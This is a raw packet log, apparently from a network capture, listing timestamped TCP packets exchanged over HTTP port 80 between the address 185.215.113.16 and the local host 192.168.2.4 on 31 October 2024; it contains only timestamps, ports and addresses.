Oct 31, 2024 05:06:36.072863102 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.072880983 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.073877096 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.144699097 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.144720078 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.144738913 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.144753933 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.144794941 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.144804955 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.144821882 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.144838095 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.144848108 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.144862890 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.144864082 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.144886971 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.144928932 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.144943953 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.144959927 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.144963980 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.144975901 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.144994020 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.145000935 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.145013094 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.145028114 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.145041943 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.145045996 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.145057917 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.145073891 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.145081043 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.145093918 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.145108938 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.145121098 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.145138979 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.145144939 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.145159006 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.145179987 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.145181894 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.145196915 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.145210981 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.145229101 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.145234108 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.145250082 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.145251989 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.145272017 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.145278931 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.145287991 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.145323038 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.145342112 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.145365953 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.145380020 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.145395041 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.145401001 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.145411015 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.145425081 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.145432949 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.145441055 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.145454884 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.145462036 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.145477057 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.145528078 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.145543098 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.145565033 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.145565033 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.145581007 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.145597935 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.145618916 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.145625114 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.145634890 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.145648956 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.145653009 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.145670891 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.145670891 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.145685911 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.145700932 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.145706892 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.145715952 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.145739079 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.145751953 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.145766973 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.145776987 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.145781994 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.145798922 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.145803928 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.145813942 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.145837069 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.145838022 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.145853043 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.145867109 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.145879984 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.145885944 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.145903111 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.145916939 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.145920038 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.145936012 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.145940065 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.145955086 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.145968914 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.145972013 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.145983934 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.145998955 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.146013021 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.146032095 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.146056890 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.146075964 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.146090984 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.146106958 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.146107912 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.146131992 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.146142006 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.146147013 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.146162987 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.146197081 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.146210909 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.146230936 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.146233082 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.146249056 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.146262884 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.146279097 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.146284103 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.146297932 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.146298885 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.146311998 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.146327019 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.146336079 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.146352053 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.146368980 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.146373987 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.146388054 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.146400928 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.146421909 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.146420002 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.146440029 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.146442890 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.146456957 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.146473885 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.146480083 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.146495104 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.146509886 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.146523952 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.146538973 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.146548986 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.146560907 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.146574974 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.146575928 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.146591902 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.146605968 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.146610022 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.146621943 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.146637917 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.146729946 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.146744967 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.146760941 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.146764994 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.146774054 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.146790981 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.146791935 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.146815062 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.146825075 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.146831036 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.146846056 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.146859884 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.146874905 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.146874905 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.146889925 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.146897078 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.146908045 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.146923065 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.146931887 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.146945953 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.146959066 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.146960020 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.146975994 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.146982908 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.147005081 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.147018909 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.147022009 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.147033930 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.147047997 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.147063971 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.147074938 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.147089005 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.147090912 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.147105932 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.147119999 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.147123098 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.147135019 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.147154093 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.147157907 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.147173882 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.147187948 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.147196054 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.147203922 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.147217989 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.147219896 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.147236109 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.147258043 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.147273064 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.147286892 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.147305012 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.147310972 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.147330046 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.147339106 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.147361040 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.147376060 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.147383928 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.147396088 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.147414923 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.147418976 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.147434950 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.147449970 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.147455931 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.147468090 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.147481918 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.147483110 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.147497892 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.147511959 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.147531986 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.147536993 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.147555113 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.147558928 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.147573948 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.147591114 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.147604942 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.147620916 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.147625923 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.147636890 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.147653103 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.147653103 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.147669077 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.147686958 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.147691965 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.147705078 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.147720098 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.147737026 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.147743940 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.147758961 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.147759914 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.147773027 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.147789001 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.147795916 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.147811890 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.147824049 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.147845030 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.147845030 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.147866964 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.147869110 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.147886038 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.147901058 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.147902012 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.147927046 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.147944927 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.148185015 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.148230076 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.148245096 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.148261070 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.148264885 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.148312092 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.148328066 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.148344040 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.148345947 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.148360014 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.148375034 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.148386955 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.148407936 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.148422956 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.148438931 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.148452997 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.148468018 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.148473024 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.148485899 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.148500919 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.148509979 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.148514032 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.148525953 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.148547888 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.148562908 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.148562908 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.148578882 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.148601055 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.148616076 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.148627043 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.148634911 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.148643017 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.148659945 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.148660898 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.148674965 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.148689985 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.148699045 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.148705006 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.148720980 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.148735046 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.148736954 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.148750067 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.148765087 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.148766041 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.148781061 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.148783922 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.148797035 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.148823977 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.148838043 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.148869038 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.148895025 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.148973942 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.148998022 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.149008989 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.149013042 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.149029970 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.149046898 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.149060965 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.149075031 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.149097919 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.149111986 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.149136066 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.149144888 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.149158955 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.149174929 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.149174929 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.149198055 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.149211884 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.149228096 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.149230957 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.149240971 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.149259090 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.149260044 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.149274111 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.149275064 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.149291039 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.149306059 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.149310112 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.149329901 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.149344921 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.149363041 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.149368048 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.149383068 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.149386883 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.149399996 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.149414062 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:36.149414062 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.149439096 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:36.149451017 CET	80	49744	185.215.113.16	192.168.2.4
